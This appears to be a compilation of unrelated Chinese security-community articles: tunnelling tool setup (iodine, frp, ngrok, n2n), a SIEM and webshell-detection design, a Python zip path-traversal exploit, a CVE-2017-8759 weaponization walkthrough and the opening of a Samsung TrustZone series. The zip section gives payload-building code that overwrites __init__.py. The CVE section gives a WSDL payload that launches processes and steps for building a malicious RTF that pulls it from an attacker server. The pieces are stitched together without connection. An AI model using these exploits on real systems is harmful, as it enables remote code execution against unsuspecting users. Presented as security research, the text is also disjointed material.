iodine基于C语言开发，分为服务端程序iodined和客户端程序iodine，主要工作模式有直连模式和中继模式两种。iodine支持A、TXT、CNAME、MX、NULL等多种查询请求类型，通过一台DNS服务器即可建立一条数据通道。
网络拓扑：
#### DNS服务器
由于没有经费就在本地搭个简单的DNS服务器
yum install bind* #安装bind服务
vim /etc/named.conf #修改named配置文件
vim /etc/named.rfc1912.zones #添加需要解析的域名www.dns.com
添加对应的解析文件并修改
cp /var/named/named.localhost /var/named/named.dns.com
vim /var/named/named.dns.com
虽然按照上面配置好了可能还是解析不了，可能有以下几个原因
防火墙开放53端口：`firewall-cmd --add-port=53/udp`
文件权限：
chown named.named /var/named
chown named.named /var/named/*
按照上面配置好后，记得重新启动一下服务`systemctl restart named.service`，一台简易的dns服务器就搭建起来了，测试一下
#### 服务端
git clone https://github.com/yarrick/iodine
cd iodine
make install
或
apt install iodine(kali默认自带)
make install之后目录下会出现一个bin文件夹，里面有两个可执行文件iodined(服务端)、iodine(客户端)
iodined -f -P 123456 10.1.1.1 www.dns.com
-f 前台显示，运行后一直在命令行等待
-P 认证密码
10.1.1.1 自定义局域网虚拟IP
www.dns.com DNS服务器域名
此时服务端会多出现一块dns0的虚拟网卡，地址是刚刚设置的10.1.1.1
#### 客户端
iodine -f -P 123456 192.168.137.150 www.dns.com
IP为服务器IP
域名需要与服务端保持一致
此时客户端也会多出来一块dns0网卡，地址为10.1.1.2，与服务端的网卡处于同一局域网
测试一下连通性
查看一下路由发现去往10.1.1.0的流量都会走dns隧道
远程登录服务器
## 0x07 Frp
frp 是一个可用于内网穿透的高性能的反向代理应用，支持 tcp, udp 协议，为 http 和 https
应用协议提供了额外的能力，且尝试性支持了点对点穿透。
在vps上下载相应的frp包，下载地址：<https://github.com/fatedier/frp/releases>
wget https://github.com/fatedier/frp/releases/download/v0.30.0/frp_0.30.0_linux_amd64.tar.gz
tar zxvf frp_0.30.0_linux_amd64.tar.gz
cd frp_0.30.0_linux_amd64/
解压完以后有如下几个文件
frpc frpc_full.ini frpc.ini frps frps_full.ini frps.ini
其中前三个文件为客户端程序及配置文件，后面三个为服务端程序及配置文件。其中frpc_full.ini(frps_full.ini)是全配置文件，里面包含了所有的配置(感兴趣者可以自行研究)，当然我们只需要其中的一部分复制到frpc.ini(frps.ini)即可
### 服务端
编辑服务端配置文件
vim frps.ini
---------------------- [common]
#绑定地址
bind_addr = 0.0.0.0
#TCP绑定端口
bind_port = 7000
#仪表盘地址
dashboard_addr = 0.0.0.0
#仪表盘端口
dashboard_port = 7500
#连接密码
token = 12345678
#仪表盘用户名
dashboard_user = admin
#仪表盘密码
dashboard_pwd = admin
#HTTP代理端口
vhost_http_port = 10080
#HTTPS代理端口
vhost_https_port = 10443
运行frps服务端
./frps -c frps.ini
如上图所示则表示运行成功，此时你可以访问vps_ip:7500 ，账号密码为之前所设置的
注意：当ssh连接断开以后，frps也会停止，为了使frps在后台运行我们可以使用nohup命令
nohup ./frps -c frps.ini &
### 客户端
编辑客户端配置文件
[common]
#服务器地址
server_addr = x.x.x.x
#服务器绑定端口
server_port = 7000
#服务器连接密码
token = 12345678
#服务名称(自定义)
[ssh]
#转发协议类型
type = tcp
#本地地址
local_ip = 127.0.0.1
#本地端口
local_port = 22
#远程端口
remote_port = 7001
运行frpc客户端
./frpc -c frpc.ini
此时frp隧道已经建立成功，我们可以通过访问vps_ip:7001就相当于访问本地的22端口
不过这里碰到个问题就是用xshell连7001可以连接成功，可是换ssh命令连接就不行，一脸问号？？？
## 0x08 Ngork
ngrok是一个反向代理，它能够让你本地的web服务或tcp服务通过公共的端口和外部建立一个安全的通道，使得外网可以访问本地的计算机服务。
去官网注册用户登录：<https://dashboard.ngrok.com/get-started> ，然后得到自己的token
下载软件到本地计算机，执行cmd命令生成配置文件ngrok.yml
接下来就可以使用命令来穿透了
ngrok.exe tcp 22
ngrok.exe http 80
ngrok.exe tcp 3389
......
这里我将本地的3389映射到公网，只需执行命令`ngrok.exe tcp 3389`
然后直接连接0.tcp.ngrok.io:13067即可访问本地的3389端口，不过考虑到服务器在国外，使用连接特别慢，你可以考虑使用ngrok.cc或者自己打一个ngrok服务器
## 0x09 N2n
n2n是一个二层架构的代理网络，其中super node提供场所，让两个位于NAT/防火墙之后的edge
node进行会面，一旦双方完成首次握手，剩下的数据流就之发生在两个edge node之间。如果有一方的NAT属于对称型(symmetrical)，super
node则还需继续为双方提供数据包的转发，edge node负责数据流的加解密。
### 编译安装
git clone https://github.com/meyerd/n2n
apt install subversion build-essential libssl-dev net-tools
cd n2n/n2n_v2/
mkdir build
cd build
cmake ..
make && make install
### 服务端
服务端也称中心节点(supernode)，运行以下命令
supernode -l 7654 #监听7654端口
在vps可以使用nobup设置后台运行
nohup supernode -l 7654 -v & # -v展示详细信息，方便调试
----------------------------------- 查看supernode进程
ps -ef | grep supernode
注：在N2N v1中，一个Edge只能连接一个Supernode，但在N2N
v2中，你可以至多连接两个Supernode。服务端也可以同时当做客户端使用，将服务端加入到虚拟网络中。
### 客户端
客户端也称边缘节点(edgenode)，执行命令加入虚拟局域网
edge -a 10.2.2.2 -c group -k 123456 -l 45.77.xx.xx:7654
-a [内网IP地址]：设置此N2N网络中本机的IP地址
-c [群组名称]：设置本机要加入的N2N网络组名称（一台Edge可以加入多个N2N网络组中，只要保证软件版本一致）
-k [密码]：加入N2N网络组使用的密码
-l [Supernode地址:端口号]：Supernode的地址，带上端口号
-p [外网暴露端口号]：其他Edge访问本机使用的端口号（所有的N2N流量都将流经此端口）
----------------------------------- 查看edge进程
ps -ef | grep edge
执行完以后会多出一块edge0的网卡
在另一台机器上也加入N2N网络，并做连通测试
## 0x0A 参考
1.<https://www.cnblogs.com/f-ck-need-u/p/10482832.html>
2.<https://cloud.tencent.com/developer/article/1120865>
3.<https://www.anquanke.com/post/id/163240>
4.<https://zerokeeper.com/experience/network-port-forwarding-and-penetration.html> | 社区文章 |
作者：兜哥
来源：https://www.leiphone.com/news/201703/hUizFhBz5GAQQ5Jw.html
## 前言
在RSA2017会议上，应用大数据技术在安全领域，挖掘深入的攻击行为依然是一个热点。
### SIEM简介
市场调研机构IDC预计，未来全球数据总量年增长率将维持在50%左右，到2020年，全球数据总量将达到40ZB。一个中型互联网公司一天产生的数据量通常可以超过几T甚至几十T。传统的盒子形式的安全产品已经没有能力处理如此大量的数据。
SIEM（security information and event
management），顾名思义就是针对安全信息和事件的管理系统。SIEM通过统一搜集、格式化、存储、分析企业内部的各类日志、流量数据，挖掘攻击行为。
完整的SIEM至少会包括以下功能：
> * 漏洞管理
> * 资产发现
> * 入侵检测
> * 行为分析
> * 日志存储、检索
> * 报警管理
> * 酷炫报表
>
其中最核心的我认为是入侵检测、行为分析和日志存储检索。
### SIEM的发展
对比 Gartner2009 年和
2016年的全球SIEM厂商排名，可以清楚看出，基于大数据架构的厂商Splunk迅速崛起，传统四强依托完整的安全产品线和成熟市场渠道，依然占据领导者象限，其他较小的厂商逐渐离开领导者象限。最重要的存储架构也由盘柜（可选）+商业数据库逐渐转变为可横向扩展的大数据架构，支持云环境也成为趋势。
开源SIEM
常见的开源SIEM主要有 OSSIM 和 OPENSOC，其中 OPENSOC 完全基于大数据架构，更适合目前的中大型企业。OPENSOC
是思科2014年在 BroCon 大会上公布的开源项目，但是没有真正开源其源代码，只是发布了其技术框架。我们参考了 OPENSOC
发布的架构，结合公司实际落地了一套方案。
OPENSOC 完全基于开源的大数据框 架kafka、storm、spark 和 es 等，天生具有强大的横向扩展能力。 **本文重点讲解的也是基于
OPENSOC 的 SIEM 搭建，以及简单介绍如何使用规则和算法来发现入侵行为。**
## SIEM架构
上图是Opensoc给出的框架，初次看非常费解，我们以数据存储与数据处理两个纬度来细化，以常见的 linux 服务器 ssh 登录日志搜集为例。
#### 数据搜集纬度
数据搜集纬度需求是搜集原始数据，存储，提供用户交互式检索的UI接口，典型场景就是出现安全事件后，通过检索日志回溯攻击行为，定损。
logtash其实可以直接把数据写es，但是考虑到 storm 也要数据处理，所以把数据切分放到 logstash，切分后的数据发送 kafka，提供给
storm 处理和 logstash 写入 es。数据检索可以直接使用 kibana，非常方便。数据切分也可以在 storm 里面完成。
这个就是大名鼎鼎的ELK架构。es比较适合存储较短时间的热数据的实时检索查询，对于需要长期存储，并且希望使用hadoop或者spark进行大时间跨度的离线分析时，还需要存储到hdfs上，所以比较常见的数据流程图为：
#### 数据处理纬度
这里以数据实时流式处理为例，storm 从 kafka 中订阅切分过的ssh登录日志，匹配检测规则，检测结果的写入 mysql 或者 es。
在这个例子中，孤立看一条登录日志难以识别安全问题，最多识别非跳板机登录，真正运行还需要参考知识库中的常见登录IP、时间、IP情报等以及临时存储处理状态的状态库中最近该IP的登录成功与失败情况。比较接近实际运行情况的流程如下：
具体判断逻辑举例如下，实际中使用大量代理IP同时暴力破解，打一枪换一个地方那种无法覆盖，这里只是个举例：
### 扩展数据源
生产环境中，处理安全事件，分析入侵行为，只有ssh登录日志肯定是不够，我们需要尽可能多的搜集数据源，以下作为参考：
> * linux/window系统安全日志/操作日志
> * web服务器访问日志
> * 数据库SQL日志
> * 网络流量日志
>
简化后的系统架构如下,报警也存es主要是查看报警也可以通过kibana，人力不足界面都不用开发了：
### 消息队列：kafka
Kafka是一种高吞吐量的分布式发布订阅消息系统，有如下特性：
> * 通过O(1)的磁盘数据结构提供消息的持久化，这种结构对于即使数以TB的消息存储也能够保持长时间的稳定性能。
> * 高吞吐量 ：即使是非常普通的硬件Kafka也可以支持每秒数百万的消息。
> * 支持通过Kafka服务器和消费机集群来分区消息。
> * 支持Hadoop并行数据加载。
>
### 流式处理：storm
Apache Storm 是一个免费开源的分布式实时计算系统。简化了流数据的可靠处理，像 Hadoop 一样实现实时批处理。Storm
很简单，可用于任意编程语言。
Storm 有很多应用场景，包括实时数据分析、联机学习、持续计算、分布式 RPC、ETL 等。Storm
速度非常快，一个测试在单节点上实现每秒一百万的组处理。
storm拓扑支持python开发，以处理SQL日志为例子：
假设SQL日志的格式是
"Feb 16 06:32:50 " "127.0.0.1" "root@localhost" "select * from user where id=1"
一般storm的拓扑结构：
简化后 spout 是通用的从 kafka 读取数据的，就一个 bolt 处理 SQL 日志，匹配规则，命中策略即输出”alert”:”原始SQL日志”。
### 数据搜集：logstash
> *
> Logstash是一款轻量级的日志搜集处理框架，可以方便的把分散的、多样化的日志搜集起来，并进行自定义的处理，然后传输到指定的位置，比如某个服务器或者文件。
>
>
>
> * 当然它可以单独出现，作为日志收集软件，你可以收集日志到多种存储系统或临时中转系统，如MySQL，redis，kakfa，HDFS,
> lucene，solr等并不一定是ElasticSearch。
>
>
logstash的配置量甚至超过了storm的拓扑脚本开发量，这里就不展开了。
### 实时检索：ElasticSearch
ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎，基于RESTful
web接口。Elasticsearch是用Java开发的，并作为Apache许可条款下的开放源码发布，是当前流行的企业级搜索引擎。设计用于云计算中，能够达到实时搜索，稳定，可靠，快速，安装使用方便。
## 数据源
生产环境中，处理安全事件，分析入侵行为，我们需要尽可能多的搜集数据源，以下作为参考：
> * linux/window系统安全日志/操作日志
> * web服务器访问日志
> * 数据库SQL日志
> * 网络流量日志
>
## 数据库日志搜集
常见的数据日志搜集方式有三种：
### 镜像方式
大多数数据库审计产品都支持这种模式，通过分析数据库流量，解码数据库协议，识别SQL预计，抽取出SQL日志
### 代理方式
比较典型的就是db-proxy方式，目前百度、搜狐、美团、京东等都有相关开源产品，前端通过db-proxy访问后端的真实数据库服务器。SQL日志可以直接在db-proxy上搜集。
### 客户端方式
通过在数据库服务器安装客户端搜集SQL日志，比较典型的方式就是通过logstash来搜集，本文以客户端方式进行讲解，其余方式本质上也是类似的。
## logstash配置
### 安装
下载logstash <https://www.elastic.co/downloads/logstash> 目前最新版本5.2.1版
### 开启mysql查询日志
### mysql查询日志
###
### 配置logstash
### 运行logstash
命令：bin/logstash -f mysql.conf
### 日志举例
## 常见攻击特征
分析攻击特征，下列列举两个，更多攻击特征请大家自行总结：
#### 特征一：
使用联合查询枚举数据时会产生大量的NULL字段。
#### 特征二：
枚举数据库结构时会使用INFORMATION_SCHEMA，另外个别扫描器会使用GROUP BY x)a)
## 注意的是：
> * 生产环境中的规则会比这复杂很多，需要你不断补充，这里只是举例
> * 单纯只编写map会有大量的重复报警，需要开发reduce用于聚合
> * 应急响应时需要知道SQL注入的是那个库，使用的是哪个账户，这个需要在logstash切割字段时补充
> *
> 应急响应时最好可以知道SQL注入对应的链接，这个需要将web的accesslog与SQL日志关联分析，比较成熟的方案是基于机器学习，学习出基于时间的关联矩阵
> * 客户端直接搜集SQL数据要求mysql也开启查询日志，这个对服务器性能有较大影响，我知道的大型公司以db-> prxoy方式接入为主，建议可以在db-proxy上搜集。
> * 基于规则识别SQL注入存在瓶颈，虽然相对web日志层面以及流量层面有一定进步，SQL语义成为必然之路。
>
## CASE：后门识别
这里介绍如何用图算法是被webshell。
### webshell特征
webshell特征其实很多，从统计学角度讲，有如下特点：
> * 入度出度均为0
> * 入度出度均为1且自己指向自己
>
### neo4j
neo4j是一个高性能的,NOSQL图形数据库，它将结构化数据存储在网络上而不是表中，因其嵌入式、高性能、轻量级等优势，越来越受到关注。
#### 导入数据
可生成有向图如下：
查询入度为1出度均为0的结点或者查询入度出度均为1且指向自己的结点，由于把ref为空的情况也识别为"-"结点，所以入度为1出度均为0。
## 优化点：
生产环境实际使用中，我们遇到误报分为以下几种：
> * 主页，各种index页面
> * phpmyadmin、zabbix等运维管理后台
> * hadoop、elk等开源软件的控制台
> * API接口
>
这些通过短期加白可以有效解决，比较麻烦的是扫描器对结果的影响，这部分需要通过扫描器指纹或者使用高大上的人机算法来去掉干扰。
兜哥后记
使用算法来挖掘未知攻击行为是目前非常流行的一个研究方向，本文只是介绍了其中比较好理解和实现的一种算法，该算法并非我首创，不少安全公司也都或多或少有过实践。篇幅有限，这里不再一一讲解。算法或者说机器学习本质是科学规律在大数据集集合上趋势体现，所以很难做到精准报警，目前阶段还是需要通过各种规则和模型来辅助，不过对于挖掘未知攻击行为确实是一支奇兵。 | 社区文章 |
# 【技术分享】文件解压之过 Python中的代码执行
|
##### 译文声明
本文是翻译文章，文章来源：ajinabraham.com
原文地址：<https://ajinabraham.com/blog/exploiting-insecure-file-extraction-in-python-for-code-execution>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
Python中负责解压压缩文件的代码实现上并不安全，存在目录遍历漏洞，攻击者可以利用该漏洞覆盖 **__init__.py** 文件，实现任意代码执行。
在PHP中，实现[代码执行](https://www.acunetix.com/websitesecurity/upload-forms-threat/)最为简单的一种方式就是利用PHP中不安全的文件上传处理逻辑。如果你可以欺骗文件上传逻辑，上传任意PHP文件，那么你就可以执行任意PHP代码。然而，如果我们面对的是使用Go、Node.js、Python、Ruby等编写的现代Web框架时，情况会有所变化。这种情况下，即使我们把.py或者.js文件成功上传到服务器上，通过URL请求这些文件通常并不会返回任何结果，因为目标应用程序并没有开放相应的路由或者URL渠道。即使我们可以通过URL来访问这些资源，也不会触发任何代码执行动作，因为服务器会把这些文件当作静态文件，以文本形式返回这些文件的源代码。在本文中，我们会介绍如何在Python构造的Web环境中实现代码执行，前提是我们可以将压缩文件上传到服务器。
简而言之，Web应用中的安全规则就是永远不要信任用户的输入，这个原则不仅仅局限于原始的 **HTTP请求**
对象范围（如查询参数、具体post的内容、文件、头部信息等）。精心构造的压缩文件虽然看起来人畜无害，但如果负责解压此类文件的代码本身并不安全，那么这种文件就会带来安全风险。本文介绍了这类漏洞的细节及利用方法，具体灵感源自于MobSF上的一份[安全漏洞报告](https://github.com/MobSF/Mobile-Security-Framework-MobSF/issues/358)。首先，让我们先来研究一下不安全的代码。
def unzip(zip_file, extraction_path):
"""
code to unzip files
"""
print "[INFO] Unzipping"
try:
files = []
with zipfile.ZipFile(zip_file, "r") as z:
for fileinfo in z.infolist():
filename = fileinfo.filename
dat = z.open(filename, "r")
files.append(filename)
outfile = os.path.join(extraction_path, filename)
if not os.path.exists(os.path.dirname(outfile)):
try:
os.makedirs(os.path.dirname(outfile))
except OSError as exc: # Guard against race condition
if exc.errno != errno.EEXIST:
print "n[WARN] OS Error: Race Condition"
if not outfile.endswith("/"):
with io.open(outfile, mode='wb') as f:
f.write(dat.read())
dat.close()
return files
except Exception as e:
print "[ERROR] Unzipping Error" + str(e)
这段python代码非常简单，可以解压zip文件并返回归档文件中包含的文件列表。文件上传操作结束后，服务器会收到zip文件，然后将zip文件发送给unzip()进行解压。如果你观察这行代码：
outfile = os.path.join(extraction_path, filename)
你会发现用户可以控制其中的filename变量。如果我们将filename的值设为“../../foo.py”，代码运行结果如下所示：
>>> import os
>>> extraction_path = "/home/ajin/webapp/uploads/"
>>> filename = "../../foo.py"
>>> outfile = os.path.join(extraction_path, filename)
>>> outfile
'/home/ajin/webapp/uploads/../../foo.py'
>>> open(outfile, "w").write("print 'test'")
>>> open("/home/ajin/foo.py", "r").read()
"print 'test'"
利用这个路径遍历漏洞，我们可以将文件写入任意位置。在这种情况下，我们成功将文件写入“/home/ajin”目录，并没有写在当前的“/home/ajin/webapp/uploads/”目录中。
**
**
**二、任意代码执行**
我们已经可以将python代码写到任意目录中。现在，我们来研究一下如何执行这段代码。我们可以使用存在漏洞的这个[应用](https://github.com/ajinabraham/bad_python_extract)作为实验对象，该应用使用Python
Flask开发。具体的原理是利用Python中的“__init__.py”实现代码执行。Python的[官方文档](https://docs.python.org/2.7/tutorial/modules.html#packages)中有这样一段话：
“如果某个目录想成为Python中的包，那么该目录中就需要包含__init__.py文件，这样就能避免模块搜索时把目录名为常用字符串（如string）的那些目录包含进来。在最简单的情况下，__init__.py可以是个空文件，也可以用来执行包中的初始化代码或者设置__all__变量，稍后会继续描述。”
根据这段表述，假设Web应用将某个目录当成Python包，如果我们使用任意Python代码覆盖该目录中的__init__.py文件，当目标应用导入这个包时，就会执行我们的代码。通常i情况下，为了顺利执行代码，我们需要重启服务器。在本文案例中，我们的实验目标为一个Flask服务器，并且启用了
**debug功能** （debug设为True），这意味着只要Python文件发生改动，服务器就会重启。
**
**
**三、构造Payload**
存在漏洞的这个Web应用有个名为[config](https://github.com/ajinabraham/bad_python_extract/tree/master/config)的目录，该目录中包含__init__.py以及settings.py文件。主功能文件server.py会从config目录中导入settings.py文件，这意味着如果我们可以将代码写入到config/__init__.py，我们就可以实现代码执行。我们可以使用如下代码构造攻击载荷：
import zipfile
z_info = zipfile.ZipInfo(r"../config/__init__.py")
z_file = zipfile.ZipFile("/home/ajin/Desktop/bad.zip", mode="w")
z_file.writestr(z_info, "print 'test'")
z_info.external_attr = 0777 << 16L
z_file.close()
查看负责[文件上传](https://github.com/ajinabraham/bad_python_extract/blob/master/server.py#L62-L63)的代码时，
你会看到上传的文件被解压到uploads目录中。我们可以利用[zipfile.ZipInfo()](https://docs.python.org/2/library/zipfile.html#zipfile.ZipInfo)语句构造恶意文件名。这里我们需要将文件名设为“../config/__init__.py”，以覆盖config目录中的__init__.py文件。z_info.external_attr
= 0777 << 16L这条语句会将文件权限设为所有人可读可写权限。现在，我们来创建一个zip文件，将其上传到目标应用中。
我们可以看到Flask应用开始重载，然后服务器上的控制台会打印出“test”字符串。看来我们已经实现代码执行目的。
**
**
**四、攻击实际环境中的应用**
前面这个案例中，由于Flask服务器运行在debug模式下，因此会立即执行任意代码。实际环境中情况可能不会完全一致。你可能需要等待一段时间，直至服务器重启为止。另一个问题是，我们并不能每次都知道目标应用使用的包的具体路径（本例中为config目录）。如果目标使用的是开源项目，通过阅读源代码我们很容易就能得到这些信息。对于闭源应用来说，我们可以猜测比较常见的包目录，如conf、config、settings、utils、urls、view、tests、scripts、controllers、modules、models、admin、login等。这些包目录经常出现在某些Python
Web框架中，如Django、Flask、Pyramid、Tornado、CherryPy、web2py等。
换个思路，假设目标Web应用运行在Ubuntu
Linux系统之上，这种情况下，已安装的、内置的Python包位于/home/<user>/.local/lib/python2.7/site-packages/pip目录中。假设目标应用运行在用户目录中，那么我们就可以构造类似“../../.local/lib/python2.7/site-packages/pip/__init__.py”之类的文件名。文件完成解压后，利用这个文件名就可以在pip目录中生成__init__.py文件。如果目标应用使用的是virtualenv，假设virtualenv的目录为venv，那么我们就可以使用类似“../venv/lib/python2.7/site-packages/pip/__init__.py”之类的文件名。这样处理后pip会受到影响，但下次服务器上的用户运行pip命令时，就会执行我们的代码。
**
**
**五、演示视频**
[](http://v.youku.com/v_show/id_XMzA1NTgwNDIyNA==.html)
**
**
**六、预防措施**
为了防御这个漏洞，你需要使用ZipFile.extract()来解压文件。zipfile[文档](https://docs.python.org/2/library/zipfile.html#zipfile.ZipFile.extract)中有这样一段话：
“如果待处理文件使用的是绝对路径，那么路径中包含的驱动、UNC字符以及前缀（后缀）斜杠会被过滤掉，例如，在Unix上，///foo/bar经过处理后会变为foo/bar，在Windows上，C:foobar经过处理后会变为foobar。文件名中包含的所有“..”字符会被移除，例如，../../foo../../ba..r会变成foo../ba..r。在Windows上的非法字符（:、<、>、|、"、?、以及*）会被替换为下划线（_）”。 | 社区文章 |
里面可能有问题，请大佬指教
### 漏洞概述
[FireEye](https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html)最近检测到一个恶意的Microsoft Office
RTF文档，利用[CVE-2017-8759](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8759)（一种SOAP WSDL解析器代码注入漏洞）。此漏洞允许在解析SOAP
WSDL定义内容期间注入任意代码。
### 基本信息
漏洞名称：.NET Framework远程代码执行漏洞
漏洞编号：CVE-2017-8759
漏洞影响：.NET系列产品的远程代码执行（RCE）并进一步控制系统
利用场景：远程钓鱼、社会工程
影响版本：以下.NET版本
Microsoft .NET Framework 4.6.2
Microsoft .NET Framework 4.6.1
Microsoft .NET Framework 3.5.1
Microsoft .NET Framework 4.7
Microsoft .NET Framework 4.6
Microsoft .NET Framework 4.5.2
Microsoft .NET Framework 3.5
Microsoft .NET Framework 2.0 SP2
影响产品：Office(word excel)Edge IE WinOS Skype Lync Sharepoint
### 漏洞利用点
PrintClientProxy方法中的WSDL解析器模块中存在代码注入漏洞。如果提供的包含CRLF序列的数据，则IsValidUrl不会执行正确的验证。这就造成了攻击者注入和执行任意代码。
这里不详细介绍了（因为我也不懂），可以参考火眼和360的分析。
### 利用过程
#### 方法一
新建一个图片文件，名字为office.png（其他格式也行），内容为：
<definitions
xmlns="http://schemas.xmlsoap.org/wsdl/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmlns:suds="http://www.w3.org/2000/wsdl/suds"
xmlns:tns="http://schemas.microsoft.com/clr/ns/System"
xmlns:ns0="http://schemas.microsoft.com/clr/nsassem/Logo/Logo">
<portType name="PortType"/>
<binding name="Binding" type="tns:PortType">
<soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
<suds:class type="ns0:Image" rootType="MarshalByRefObject"></suds:class>
</binding>
<service name="Service">
<port name="Port" binding="tns:Binding">
<soap:address location="http://localhost?C:\Windows\System32\calc.exe?011"/>
<soap:address location=";
if (System.AppDomain.CurrentDomain.GetData(_url.Split('?')[0]) == null) {
System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]);
System.AppDomain.CurrentDomain.SetData(_url.Split('?')[0], true);
} //"/>
</port>
</service>
</definitions>
然后放在web目录。
根据样本文件，发现是在word文档中添加一个SOAP标记。
格式为`soap:wsdl=http://192.168.135.135/office/office.png`
本次以样本为例，然后修改其中的地址。
分别用样本和自己的web地址生成特hex格式的地址，然后将样本中的地址更换为自己的地址即可。（注意替换的长度需保持一致）
样本文件最重要的是倒数第三行（看起来是空白），然后可以将上面无用的内容全部删除，只留下最后三行。
然后就是打开该word文档，就可以看到计算器弹出。但实现的过程有点问题，就是必须点更新链接才会触发（即使将添加objupdate还是不行）。
#### 方法二
参考<[https://github.com/vysec/CVE-2017-8759>](https://github.com/vysec/CVE-2017-8759>);
新建o.png，内容为：
word.db内容：
新建一个rtf文档，随意插入一个对象。例如<[img][http://192.168.135.135/office/o.png[/img]>](http://192.168.135.135/office/o.png\[/img\]>);
(这是为了下面替换objdata内容)
用记事本打开，将`\object\objautlink\rsltpict`修改为`\object\objautlink\objupdate\rsltpict`
打开blob.bin文件
将其中的地址修改为<[img][http://192.168.135.135/office/o.png[/img]>](http://192.168.135.135/office/o.png\[/img\]>);
复制原来的地址，尽量多复制点空格。
然后生成新的hex地址
然后用生成的地址替换blob.bin中的地址
然后将blob.bin中的内容替换word文档的objdata内容。
然后打开word文档，就会有神奇的事情发生。
恶意软件将被放置在`C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\OfficeUpdte-KB[6个随机数字].exe`
> 以上均在虚拟机上测试。没有使用样本中的left.jpg。最后结果确实如火眼所说的那样生成了OfficeUpdte-KB
> ******.exe文件。在win10(真机)上测试的时候还生成了http1001924168413541350office0office4png.pdb、http1001924168413541350office0office4png.dll和Logo.cs三个文件。
> 这里方法一没有直接执行的原因我也不太清楚，但是用方法二插入office.png，也是不会直接执行的。如果方法一和二中过程替换一下，效果也是一样的。
#### 方法三
下载脚本<[https://github.com/fupinglee/MyPython/blob/master/exploit/CVE-2017-8759/CVE-2017-8759_exploit_rtf.py>](https://github.com/fupinglee/MyPython/blob/master/exploit/CVE-2017-8759/CVE-2017-8759_exploit_rtf.py>);
使用方法：`python CVE-2017-8759_exploit_rtf.py
[img]http://192.168.135.135/office/office.png[/img]`
会在当前目录生成文件cve-2017-8759.rtf，打开即可。
> 根据CVE-2017-0199的脚本改写而来，仅仅保留并修改了生成文件的代码。
# 参考链接
[1].<[https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html>](https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html>);
[2].<[http://mp.weixin.qq.com/s/_rfRtj6da1nowI4qMmkLaA>](http://mp.weixin.qq.com/s/_rfRtj6da1nowI4qMmkLaA>);
[3].<[https://www.mdsec.co.uk/2017/09/exploiting-cve-2017-8759-soap-wsdl-parser-code-injection/>](https://www.mdsec.co.uk/2017/09/exploiting-cve-2017-8759-soap-wsdl-parser-code-injection/>); | 社区文章 |
# 以三星为例，如何对TrustZone进行逆向工程和漏洞利用（上篇）
|
##### 译文声明
本文是翻译文章，文章原作者 Daniel Komaromy，文章来源：medium.com
原文地址：<https://medium.com/taszksec/unbox-your-phone-part-i-331bbf44c30c ；
https://medium.com/taszksec/unbox-your-phone-part-ii-ae66e779b1d6>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
本文主要讲解了如何对三星的TrustZone进行逆向工程和漏洞利用，受字数所限，将会分为上下两篇。在上篇中，主要涵盖了关于架构的基础知识。尽管这些基础知识都来源于公开的信息，并没有不为人知的内容，但它们却分布在各种出版物上，非常零碎，所以我想将其整合成完整且连贯的内容。本篇文章部分技术细节来源于Trustonic和三星的官方文档，部分来源于开源软件，还有一部分来源于此前研究者所公开的研究成果。
在本系列的后面，我还对逆向工程的成果进行了总结，并详细展现我所发现的漏洞。
## 二、简介
目前，已经有很多关于TrustZone的研究。在去年以前，大家主要侧重于对高通和华为产品的研究工作。此前这些关于可信执行环境（TEE）的研究都有一个共同的主题，就是其单点失效的特点（Single-point-of-failure
Nature）。在这些可信执行环境中，普遍缺乏对特权的分隔，这也就意味着某一个漏洞会直接导致整个系统的沦陷，甚至是反复沦陷。
下面8篇漏洞详情，就是反复沦陷最好的证明，大家可以参考阅读：
<https://www.blackhat.com/docs/us-14/materials/us-14-Rosenberg-Reflections-on-Trusting-TrustZone.pdf>
<http://bits-please.blogspot.hu/2015/08/full-trustzone-exploit-for-msm8974.html>
<https://www.blackhat.com/docs/us-15/materials/us-15-Shen-Attacking-Your-Trusted-Core-Exploiting-Trustzone-On-Android-wp.pdf>
<https://pacsec.jp/psj14/PSJ2014_Josh_PacSec2014-v1.pdf>
<http://bits-please.blogspot.hu/2016/05/qsee-privilege-escalation-vulnerability.html>
<https://www.slideshare.net/GeekPwnKeen/nick-stephenshow-does-someone-unlock-your-phone-with-nose>
<https://microsoftrnd.co.il/Press%20Kit/BlueHat%20IL%20Decks/GalBeniamini.pdf>
<http://theroot.ninja/disclosures/TRUSTNONE_1.0-11282015.pdf>
然而，三星所使用的可信执行环境则有所不同。三星的环境是由Trustonic开发，Trustonic是一个专注于研究可信操作系统的公司，他们对可信执行环境解决方案的研发已经进行了15年之久。尽管在去年，Trustonic已经将他们的TEE
OS更名为Kinibi，但我还是更习惯使用“T-Base”作为可信执行环境的名称。同样，此前Trustonic公司曾使用过MobiCore和Giesecke&Devrient这两个名称，尽管如今已经更名，但还是有一些地方会使用旧名称，请各位读者注意这一点。
最近，我在Ekoparty安全大会上就这一主题发表了演讲，我的演讲主要聚焦于如何对T-base微内核的逆向工程，以及T-Base的内部工作原理，并没有侧重于讲解Trustlets提供的实际功能和攻击面。这里的Trustlets是指在可信执行环境中运行的“可信应用程序”，基本上都是安全的操作系统中的用户空间进程。
我演讲的视频请参见： <https://www.youtube.com/watch?v=L2Mo8WcmmZo> 。
我演讲的PPT请参见： <https://github.com/puppykitten/tbase> 。
在我发表演讲的时候，三星还没有完成全部漏洞的修复工作，这也是为什么我会将演讲的重点放在逆向工程的原因之一。终于，他们已经在2018年1月的安全通告中，完成了最后一个漏洞的修复。终于，我们可以放心地讨论这些漏洞，我也要感谢大家的耐心等待。
根据我的经验，如果你发现某个架构设计得很差，那么随之而来的很可能就是一些重大的漏洞，特别是在嵌入式领域。
